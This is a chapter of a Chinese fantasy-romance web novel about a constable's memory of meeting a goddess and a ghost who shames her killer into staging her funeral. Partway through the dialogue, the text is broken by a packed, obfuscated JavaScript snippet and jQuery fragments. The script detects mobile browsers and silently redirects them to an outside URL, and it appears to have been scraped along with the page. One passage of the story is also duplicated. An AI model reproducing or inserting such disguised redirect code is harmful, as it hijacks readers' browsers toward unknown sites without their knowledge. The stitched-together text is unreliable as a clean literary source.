95. 风光大葬(一)

作品:《和被灭天道成了模范情侣

    隔日清晨,袁思邈意识苏醒,只觉周身暖融融的。他微微掀起眼皮,隐约见一位女子靠近。那女子身上带着一股幽微异香,似栀子花,却更显清雅。


    还没等他反应,那女子已翻开他紧握的手心,往里塞了一件冰凉的物件。


    袁思邈在衙门办事多年,敏锐地察觉到不对劲。他猛然睁眼,空出的那只手攥住女子的手腕,反手将她拉进自己身侧并牢牢扣住,臂弯顺势锁住她的喉咙。


    他瞪着那女子,那女子面无表情,黑洞洞的眼眶里不见一丝神光。他掌心下的颈间毫无脉搏跳动,身子竟僵硬如寒铁,全然不像个活人。


    袁思邈刹那间惊出一身冷汗,心头狂跳:莫不是撞见荒庙精怪索命了?又或者是哪位黑白无常显灵,要来接引他的魂魄?


    想到“死”,他脑海中闪过潦倒病榻的母亲。若他真交代这里了,那谁能替他赡养他那母亲?


    袁思邈强迫自己冷静下来,视线猛然下移。


    那女子怀里,正紧紧抱着一枚玉如意。


    是他丢失的玉如意。


    袁思邈心头大震,不知哪来的胆气,劈手夺回玉如意。即便对方邪门得紧,但他光脚的人不怕穿鞋的鬼,凡事总想求个公道。


    他猛地扯开包袱皮,两三下缠作绳索,将女子的手腕死死缚住,喝道:“我不管你是人是鬼,既然拿了这东西,便跟我去官府走一趟!”


    女子手腕轻一缩,竟如游鱼般轻松脱开束缚。她拍了拍手:“你这人可真不够君子,别人遇到这等恩情,都是以身相许。我好心为你送还失物,你却要锁我去公堂?”


    袁思邈记性极佳,确定昨日庙中并无此人,应该不是她偷的玉如意。他定下神,虽心存疑虑,还是拱手致歉:“晨起见阁下行踪诡秘,只当是窃贼,冒犯了。”


    女子仍温声解释道:“我叫裴天骄,不是窃贼,本就是这庙里的人。”


    袁思邈心生怪异,暗忖或许是哪家高门小姐不愿露脸,编了个假名。他回了一礼,自报家门:“在下安阳城捕快袁思邈,亦是安阳药铺的学徒。”


    但他仍自报真名:“我叫袁思邈。是安阳城的替补捕快,也是在城里面的安阳药铺做学徒。”


    “既然你无事,我也没留下的必要了。”裴天骄微微颔首,转身朝着神像后的阴影走去。


    袁思邈刚要起身,忽觉腿上滑落一条整洁的棉被,伸手一摸,里面填充的棉花厚实而柔软。他错愕,心想:昨日他才往功德箱里塞了一大包棉花,难不成……


    他惊得立时站起,那名为裴天骄的女子早已消失得无影无踪,仿佛从未出现。


    袁思邈转过头,目光落在昨夜通宵跪拜的女神像上。那神像的双目硕大,异于常人,漆黑的瞳仁占据了眼眶的大半。只可惜瞳中深邃幽暗,寻不见半分灵动的神采。


    他鬼使神差地绕到神像后方,那后面空荡荡的,唯有一面冰冷的高墙。


    神像寂寂然,身后空空然。


    可他心底某处,却像被什么轻轻触动了。


    袁思邈摸着胸口,有种说不出感觉。


    *


    袁思邈一个激灵,从睡梦中醒来。


    原来方才不过是他的往事梦回,他在梦里重温了当初与裴天骄初遇时的景象。那段记忆时隔数千年,仍余温未散。


    他发现,他愈发想念她了。


    他起身时,发现桌上多了一封新信。这信件的来源,竟是那个假冒的大裴氏。


    他们之间其实不算熟,私底下并无通信。只是考虑到她占用裴天骄的身份,或许和真正的裴天骄有关系,所以才会在明面上庇佑她。


    这是他收到此人的第一封信。


    信中大略交代了她顶替大裴氏身份的经过,并表示愿意接受所有惩罚。


    袁思邈看着那封自首信,忽又想起梦中的自己。


    那个跪在破庙里,对着裴天骄的神像不知该许什么愿望的底层少年。


    他忽而低声喃喃:“你希望我怎么做?表面上是我替你做决定,可又让我看到过去……”


    话音刚落,大裴氏的那封信自动燃起一小角。那跳跃的火苗,似乎已经告诉了他答案。


    袁思邈只是静静地看着,看着那封信烧成焦灰。


    *


    魏险近来在营帐中寝食难安,前段日子神尊再次托梦了,催促让他去趟暗香城,寻一位叫颜笙的女子。神尊言明此人是一间客栈的老板。也是他魏险注定的王后。


    有士兵送来消息,说暗香城内只有一座客栈老板是女子,便是铜雀楼,老板叫做裴天骄。


    不过,城南一角处有座荒地,原先是座荒废客栈,近日被一位叫做陆藏的男子买下地皮。


    陆藏?


    与他经常托梦的神尊,之前反复提醒他提防两个人,一个人是丹阳郡的李复,另一个人便是蜀地的陆藏。


    魏险想了想,走向后方撩起一个帘幕。


    帘幕背后是一尊神像,看着是个年迈和气的男子,静静放在供桌之上。


    魏险拿起三支香,点燃之后在神像面前拜了拜。


    谁料那香燃烧的火焰竟窜到小拇指的长度,火光烧得极为妖异,一眨眼的功夫,那火竟将整支香烧尽。


    香灰迸溅到魏险手指和手背,烫得他手背一抖。


    魏险掸走灰烬,瞧见手背被烫出红红的痕迹。


    像极了一个写得极潦草的“逃”字。


    *


    此刻已经入夜,颜笙带着苏幕遮去了一趟冠军楼附近的小巷,与早上分别的袁思邈碰了面。他们本就约定好,晚上一起去冠军楼审问柴浚。


    苏幕遮本就是灵体状,而颜笙和袁思邈两人皆是神仙,他们三个明目张胆地在几个打更人身边经过,也没有引起任何骚动。


    他们溜进冠军楼,在苏幕遮的带路下走入了柴浚的房间。


    柴浚在房间里呼呼大睡,并未察觉房内的不速之客。苏幕遮飘到柴浚的床头,在床边坐下。


    颜笙踱步过去,往他头上贴了一道昏睡符,朝着苏幕遮点点头。苏幕遮问颜笙:“等等,我问你的那枚实体符呢?”


    “忘记准备了,下次了。”


    袁思邈掏出一枚丹药,递给了苏幕遮:“服下这枚丹药,力量加倍。哪怕仅是神魂,也能使出力量。”


    苏幕遮接过丹药,即刻往嘴里倒,之后抬起袖子,朝柴浚的脸庞重重一挥。


    “啪——”


    一巴掌响亮地打在柴浚的脸颊,留下一道红印,那五指的痕迹赫赫在目,但柴浚仍无知无觉,依旧打着鼾。


    苏幕遮摸了摸红肿的手心,脑海中浮现起两人从前的言笑晏晏,到后面的始乱终弃。她日日被逼债,走投无路的雨夜她仍苦苦挣扎着,却从高楼被人推了下去。


    脑袋开花的疼痛,哪里是她掌心这点疼能比的?


    苏幕遮抬手又啪啪啪打了无数道巴掌,打得直到手累了,才停下来。


    忽而,她想起来什么,眼底登时一暗。她俯身掀开垂下的床幔,从床底取出一个坛子。


    那罐子沉甸甸的,打开盖子,里面装的竟是骨灰。


    单是看苏幕遮落寞的表情,便知道那里面装的是她的骨灰。苏幕遮把自己的骨灰坛放回床底,又朝着颜笙点头。


    颜笙扯走那道符,再看柴浚的脸,已经肿成了一个猪头,她忍不住笑出声。


    这一笑,把柴浚从疼痛的梦境中惊醒。


    柴浚揉了揉胀痛的脸颊,寻思着自己做噩梦怎么现实中也会脸疼,睁眼便是瞧见一张熟悉的脸。


    柴浚一瞬间没反应过来,还抱着苏幕遮的胳膊,口中念叨:“还是你十二三岁时候好看,后来年老色衰了,失宠是正常的事。做好正宫娘娘就是了,还偏要赌气,想逃出我的手心。”


    苏幕遮没说话,但脸上已经开始冒起黑气。


    柴浚毫无察觉,闭着眼睛,继续喃喃道:“魏三哪里喜欢你这样的,魏二倒是好这口。听说他心里一直惦记着袁家那寡妇,前些日子还派人到这里打听。”


    颜笙在旁边听到提到自己,刚想问一问,苏幕遮先开口了:“魏二为何觉得袁家妇人在暗香城?”


    柴浚道:“听说是梦中有位仙人说的,说那位夫人身上有天命,得她者可夺天命。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377115|193324||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    说着说着,柴浚讥笑起来:“怎会有人这么蠢,天底下的女子哪有这么大的力量,还能把天下兴亡系在她身上。可笑!”


    苏幕遮说道:“你不是将污名都泼在我身上了吗?”她说着又把自己换成那副青面獠牙模样,又两只手指撑开柴浚的眼皮,让他直视自己的脸。


    柴浚正瞧见苏幕遮,登时吓得魂飞魄散,连忙坐起来:“你你你你——你是谁,为何装鬼吓人!”


    “这世界哪里有鬼。我没做亏心事,不怕鬼敲门。”说着,柴浚拿起床边的杯子直朝着苏幕遮扔去。


    那些杯子从苏幕遮身体穿过去,径直摔在地上。


    柴浚低头看向陶瓷碎片,才发现苏幕遮的裙摆下面根本没有脚,是漂浮在碎片之上的。


    “鬼——鬼——真的有鬼——”柴浚语无伦次,“别怪我。杀你的主谋不是我,我只想骗完钱就走。”


    苏幕遮道:“不是你,那还有谁?我自小便跟了你,认识的也不多,还会有谁害我?”


    柴浚道:“真的不是我。是李复的主意,是他指使我这么做的。我也不知你是怎么得罪他了,好像说你得罪过他的小妾?”


    苏幕遮思索半天,总算想起了这么一号人,之前向她占卜过:“我和他也没过节。相反他找我占卜的时候,我还说了很多好话。”


    袁思邈忽而问道:“是你跟李复说的紫气在斗宿?“


    苏幕遮点头:“斗宿位置正好在李复的封地。我还奉承他说,这代表他的地盘愈发昌盛。”


    颜笙道:“紫气那不是王气?李复恐怕有称帝的野心,怕你泄露出去,所以想要杀人灭口。”


    苏幕遮叹息,“若是李复,我还真奈何不得。真有龙气护体的话,鬼魂不得近身。”


    袁思邈道:“那紫气早散了。”


    “龙气还能散?李复又没死。”苏幕遮纳闷地问。


    袁思邈道:“不是龙气,只是那地下藏了件仙器,精气照射到天空。我后来探访过那块封地,从土里挖出来一件仙器,又融成了炼丹炉。”


    他又缓缓道:“刚才你吃的丹药就是那炉子炼的。”


    颜笙叹了一口气,“就为了一个预言,就要杀个人?这李复是真该死!”


    袁思邈却道:“他们的性命,在高门眼中不值一文。”他又想起今日的那个梦,无论在哪个世界,有阶级就有压迫。


    除了阶级,还有这男尊女卑的世界特有压迫。


    袁思邈道:“即便没有李复,柴浚也没想让苏幕遮活下去。他将那些女子逼入绝境,看似好心地为她们介绍出路,嫁到高门魏家,其实是借魏家的手除去她们。然后对外继续做着伪君子。”


    苏幕遮转头瞥了一眼柴浚。看他卑贱地跪在地上,涕泪横流,狼狈得像头丑陋的猪头,忍不住自嘲一笑,“亏我年少时竟喜欢过这么一个废物。”


    颜笙安抚道:“谁年少时没爱错过人?不过,你打算怎么处置他?”


    苏幕遮长叹一声,“罢了,罢了。既然天道自有安排,终会收拾他们,我又何必损耗我的功德。”


    她只道:“你需在城南角为我下葬,葬礼当日须宴请全城之人观礼。你要在城中百姓面前忏悔所有罪行,对我,对小裴氏,还有其他所有被你所害的女子,不得有所隐瞒。再为我烧足一车黄纸。如此,我便不再纠缠于你。”


    柴浚看不见颜笙,眼里的苏幕遮像是对着空气自言自语,更为眼前的场景吓得是魂飞魄散,便是忙不迭应下:“是,是!小人这就去寻个良辰吉日,为您风光大葬!”


    苏幕遮掐指一算,忽道:“十日内必须办妥。逾期……后果自负!”言罢,她便带着颜笙扬长而去。


    在柴浚眼中,那门仿佛自行开启,又自行阖上,那场面实属诡谲,他怕那鬼魅去而复返,便是未曾合眼。


    出了门,袁思邈忽而疑问:“苏娘子,为何要求他在十日内完成?”


    颜笙也道:“多些时日筹备葬礼,不是更加隆重?”


    苏幕遮道:“冠军楼十日后便要执笠。若冠军楼倒了,柴浚哪还有钱财替我操办这场葬礼?”